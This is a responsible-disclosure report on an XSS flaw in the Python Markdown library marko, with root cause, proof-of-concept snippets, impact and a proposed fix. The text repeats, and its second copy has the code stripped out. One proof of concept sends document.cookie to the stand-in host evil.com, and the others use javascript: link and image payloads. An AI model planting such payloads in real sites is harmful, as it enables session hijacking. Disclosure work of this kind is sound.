Hello,
I believe I have identified a security vulnerability and would like to report it through responsible disclosure. If the issue is confirmed, I would appreciate it if a CVE identifier could be requested and assigned after the vulnerability has been patched.
Please find the details of the vulnerability below.
Best regards,
CVE Vulnerability Report: Cross-Site Scripting (XSS) in marko
Summary
| Field |
Value |
| Package |
marko |
| Version |
<= 2.2.2 (latest) |
| Vulnerability |
XSS via unfiltered javascript: protocol in Markdown URL rendering |
| CWE |
CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| CVSS 3.1 |
6.1 (Medium) |
| CVSS Vector |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Monthly Downloads |
~3,252,827 |
| Repository |
https://github.com/frostming/marko |
| Affected Function |
escape_url() in marko/html_renderer.py |
GitHub Security Advisory Form
| Field |
Value |
| Ecosystem |
pip |
| Package name |
marko |
| Affected versions |
<= 2.2.2 |
| Patched versions |
No patch available |
| Severity |
Medium |
| CVSS Score |
6.1 |
| Vector string |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| CWE |
CWE-79 |
Description
The marko Markdown parser (3.2M+ monthly downloads) contains a Cross-Site Scripting (XSS) vulnerability in its HTML rendering output. The escape_url() function does not filter dangerous URI schemes such as javascript:, vbscript:, or data:. When user-provided Markdown content containing javascript: URLs is rendered to HTML, the resulting <a href="javascript:..."> tags execute arbitrary JavaScript in the victim's browser.
This is notable because the competing Markdown parser mistune explicitly blocks harmful protocols via a HARMFUL_PROTOCOLS check and replaces them with #harmful-link. marko lacks this protection entirely.
Root Cause
In marko/html_renderer.py, the escape_url() static method:
@staticmethod
def escape_url(raw: str) -> str:
"""
Escape urls to prevent code injection craziness. (Hopefully.)
"""
return html.escape(quote(html.unescape(raw), safe="/#:()*?=%@+,&"))
Note the ironic docstring: "Escape urls to prevent code injection craziness. (Hopefully.)" — it does not actually prevent javascript: injection.
This function performs HTML entity escaping and URL percent-encoding, but it does not check or filter the URL scheme. The javascript: protocol passes through intact because:
html.unescape() decodes any HTML entities
quote() percent-encodes special characters but preserves javascript: (colon is in the safe parameter)
html.escape() escapes <>&" but javascript:alert() contains none of these
Compare with mistune (safe implementation):
# mistune explicitly blocks harmful protocols
HARMFUL_PROTOCOLS = re.compile(r'javascript:|vbscript:|data:', re.IGNORECASE)
def safe_url(url):
if HARMFUL_PROTOCOLS.match(url):
return "#harmful-link"
return url
Proof of Concept
PoC 1: Basic XSS via Markdown link
import marko
# Attacker-controlled Markdown input
user_comment = "[Click here](javascript:alert('XSS'))"
# Application renders Markdown to HTML
html_output = marko.convert(user_comment)
print(html_output)
# Output: <p><a href="javascript:alert(%27XSS%27)">Click here</a></p>
# The javascript: URL is preserved — clicking executes JavaScript
PoC 2: Cookie theft via stored XSS
import marko
# Attacker posts a comment with hidden XSS payload
malicious_comment = """
Great article! Check out my [related research](javascript:fetch('https://evil.com/steal?c='+document.cookie)) for more details.
"""
html_output = marko.convert(malicious_comment)
# Output contains: <a href="javascript:fetch(...)">related research</a>
# When any user clicks the link, their cookies are sent to the attacker
PoC 3: Image tag XSS
import marko
# javascript: in image source
payload = ")"
html_output = marko.convert(payload)
# Output: <img src="javascript:alert(document.cookie)" alt="profile" />
PoC 4: Comparison with mistune (safe)
import marko
import mistune
payload = "[Click](javascript:alert('XSS'))"
# marko: VULNERABLE
print(marko.convert(payload))
# <p><a href="javascript:alert(%27XSS%27)">Click</a></p>
# mistune: SAFE
print(mistune.html(payload))
# <p><a href="#harmful-link">Click</a>)</p>
PoC 5: Browser verification
Save this HTML file and open in a browser:
<!DOCTYPE html>
<html>
<body>
<h1>marko XSS PoC</h1>
<p>Click the link below:</p>
<p><a href="javascript:alert('XSS_via_marko')">Click me</a></p>
</body>
</html>
Clicking the link triggers a JavaScript alert, confirming the XSS.
Impact
- Session Hijacking: Attacker steals session cookies via
document.cookie.
- Account Takeover: Attacker performs actions on behalf of the victim using stolen session tokens.
- Phishing: Attacker injects fake login forms or redirects to malicious sites.
- Keylogging: Attacker injects JavaScript keyloggers to capture sensitive input.
- Stored XSS: In applications that store and render user Markdown (forums, comments, wikis, README viewers), the payload persists and triggers for every user who views the content.
Given the package's 3.2M+ monthly downloads, any application rendering user-provided Markdown with marko is vulnerable.
Attack Scenario
- A web application allows users to write comments or content in Markdown format.
- The application uses
marko to convert Markdown to HTML for display.
- An attacker writes a comment containing
[innocent text](javascript:malicious_code).
- When other users view the rendered page and click the link, the JavaScript executes in their browser context.
- The attacker's code steals cookies, session tokens, or performs actions on behalf of the victim.
Remediation
Add a URL scheme filter in escape_url():
import re
# List of harmful URI schemes
HARMFUL_PROTOCOLS = re.compile(r'^\s*(javascript|vbscript|data):', re.IGNORECASE)
def escape_url(raw):
url = html.escape(quote(html.unescape(raw), safe="/#:()*?=%@+,&"))
# Block dangerous URI schemes
if HARMFUL_PROTOCOLS.match(html.unescape(url)):
return "#harmful-link"
return url
Timeline
| Date |
Event |
| 2026-03-16 |
Vulnerability discovered |
| 2026-03-16 |
Report drafted |
| TBD |
Vendor notification |
| TBD |
CVE ID assigned |
| TBD |
Patch released |
References
Hello,
I believe I have identified a security vulnerability and would like to report it through responsible disclosure. If the issue is confirmed, I would appreciate it if a CVE identifier could be requested and assigned after the vulnerability has been patched.
Please find the details of the vulnerability below.
Best regards,
CVE Vulnerability Report: Cross-Site Scripting (XSS) in marko
Summary
javascript:protocol in Markdown URL renderingescape_url()inmarko/html_renderer.pyGitHub Security Advisory Form
Description
The
markoMarkdown parser (3.2M+ monthly downloads) contains a Cross-Site Scripting (XSS) vulnerability in its HTML rendering output. Theescape_url()function does not filter dangerous URI schemes such asjavascript:,vbscript:, ordata:. When user-provided Markdown content containingjavascript:URLs is rendered to HTML, the resulting<a href="javascript:...">tags execute arbitrary JavaScript in the victim's browser.This is notable because the competing Markdown parser
mistuneexplicitly blocks harmful protocols via aHARMFUL_PROTOCOLScheck and replaces them with#harmful-link.markolacks this protection entirely.Root Cause
In
marko/html_renderer.py, theescape_url()static method:Note the ironic docstring: "Escape urls to prevent code injection craziness. (Hopefully.)" — it does not actually prevent
javascript:injection.This function performs HTML entity escaping and URL percent-encoding, but it does not check or filter the URL scheme. The
javascript:protocol passes through intact because:html.unescape()decodes any HTML entitiesquote()percent-encodes special characters but preservesjavascript:(colon is in thesafeparameter)html.escape()escapes<>&"butjavascript:alert()contains none of theseCompare with
mistune(safe implementation):Proof of Concept
PoC 1: Basic XSS via Markdown link
PoC 2: Cookie theft via stored XSS
PoC 3: Image tag XSS
PoC 4: Comparison with mistune (safe)
PoC 5: Browser verification
Save this HTML file and open in a browser:
Clicking the link triggers a JavaScript alert, confirming the XSS.
Impact
document.cookie.Given the package's 3.2M+ monthly downloads, any application rendering user-provided Markdown with
markois vulnerable.Attack Scenario
markoto convert Markdown to HTML for display.[innocent text](javascript:malicious_code).Remediation
Add a URL scheme filter in
escape_url():Timeline
References